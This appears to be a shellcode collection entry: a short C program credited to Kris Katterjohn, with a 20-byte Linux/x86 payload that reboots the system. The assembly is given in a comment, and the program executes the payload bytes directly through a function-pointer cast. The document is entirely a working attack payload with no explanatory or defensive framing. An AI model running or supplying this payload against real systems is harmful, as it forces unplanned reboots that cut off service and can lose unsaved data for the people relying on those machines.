20 byte Linux/x86 shellcode that reboots the system.
94f1faff10f9bedfe3cd5057c2bfe06d3ec14d006792926f227319b5f5e08e52
/* By Kris Katterjohn 11/11/2006
*
* 20 byte shellcode to reboot the system for Linux/x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* push byte 88
* pop eax
* mov ebx, 0xfee1dead
* mov ecx, 672274793
* mov edx, 0x1234567
* int 0x80
*/
main()
{
char shellcode[] =
"\x6a\x58\x58\xbb\xad\xde\xe1\xfe\xb9\x69"
"\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80";
(*(void (*)()) shellcode)();
}